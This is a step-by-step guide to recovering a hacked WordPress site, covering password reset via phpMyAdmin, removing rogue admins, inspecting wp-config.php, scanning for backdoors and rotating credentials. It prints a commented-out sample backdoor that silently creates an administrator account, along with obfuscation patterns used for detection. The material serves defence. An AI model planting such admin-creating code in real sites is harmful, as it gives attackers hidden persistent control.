Reset Your Admin Password via phpMyAdmin

This is the fastest way to regain access if your password was changed. Log into your hosting control panel, find phpMyAdmin, and select your WordPress database. Navigate to the wp_users table (prefix might be different, e.g., wp_123_users). Find your username, click 'Edit', and in the user_pass field, select 'MD5' from the Function dropdown, then enter a new strong password. Save changes. This will allow you to log in with your old username and the new password.

✓ ~5 minutes. Critical first step to address wordpress hacked and locked out.

Check for New or Malicious Admin Accounts in the Database

While still in phpMyAdmin, carefully review the wp_users table for any unfamiliar usernames. Also, check the wp_usermeta table for entries related to these suspicious users, specifically looking for wp_capabilities entries that grant administrator privileges. If you find an unknown admin, delete the user from wp_users and all associated metadata from wp_usermeta. This is a common tactic when a wordpress site taken over by hackers.

✓ ~10-15 minutes. Exercise caution when deleting users.

Inspect wp-config.php and .htaccess for Malicious Injections

Connect via FTP/SFTP and download your wp-config.php and .htaccess files from the root directory. Open them in a text editor. Look for unusual code, especially at the top or bottom of wp-config.php, or any unexpected rewrite rules in .htaccess. Hackers often insert code to create new admin users or redirect traffic. Pay close attention to any define('WP_USER_EMAIL', 'hacker@example.com'); or similar lines. If found, remove them. For a more comprehensive cleanup, refer to our guide on WordPress Hacked — Core, Theme and Plugin Files Modified by Hacker.

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file to generate the wp-config.php file.
 * You don't have to use the web site, you can just copy this file to "wp-config.php"
 * and fill in the values.
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
define( 'DB_NAME', 'database_name_here' );
// ... legitimate wp-config content ...

// --- LOOK FOR MALICIOUS CODE HERE ---
// Example of a backdoor user creation:
// if (!function_exists('add_hacked_admin')) {
//    function add_hacked_admin() {
//        if (!username_exists('hackeradmin')) {
//            $user_id = wp_create_user('hackeradmin', 'strongpassword');
//            $user = new WP_User($user_id);
//            $user->set_role('administrator');
//        }
//    }
//    add_action('init', 'add_hacked_admin');
// }
// --- OR AT THE VERY END OF THE FILE ---

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __FILE__ ) . '/' );
}

/** Sets up WordPress vars and included files. */
require_once( ABSPATH . 'wp-settings.php' );

✓ ~15-20 minutes. Malicious code in these files can be a persistent backdoor.

Scan for Backdoors in Common Locations (functions.php, Uploads Directory)

Hackers often hide backdoors in theme functions.php files, or even in the wp-content/uploads directory disguised as legitimate files (e.g., image.php, cache.php). Look for unfamiliar PHP files in wp-content/uploads/, and inspect your active theme's functions.php for obfuscated code (like eval(base64_decode(...)) or gzinflate(base64_decode(...))). These are common indicators of a wordpress site hijacked. For a deeper dive into file integrity, see our guide on WordPress Hacked — Core, Theme and Plugin Files Modified by Hacker.

✓ ~20-30 minutes. Requires careful manual inspection or a server-side scanner.

Review and Remove Suspicious Plugins/Themes

If you regained access, check your installed plugins and themes. Hackers often install malicious plugins or modify existing ones to maintain access. Look for newly installed, unfamiliar, or unusually named plugins/themes. Deactivate and delete anything suspicious. If you suspect a vulnerability in a specific plugin or theme led to the breach, consult our guide on WordPress Hacked Through Plugin, Theme or Nulled Software Vulnerability.

✓ ~10-15 minutes. Prioritize unknown plugins first.

Change All Remaining Passwords and Update Keys

Once you have regained full control, change passwords for all remaining users, your database user, and your hosting control panel. Generate new WordPress security keys and salts in your wp-config.php file. This invalidates all existing sessions and makes it harder for attackers to reuse old credentials. You can use the WordPress online salt generator.

✓ ~10 minutes. Essential post-recovery step.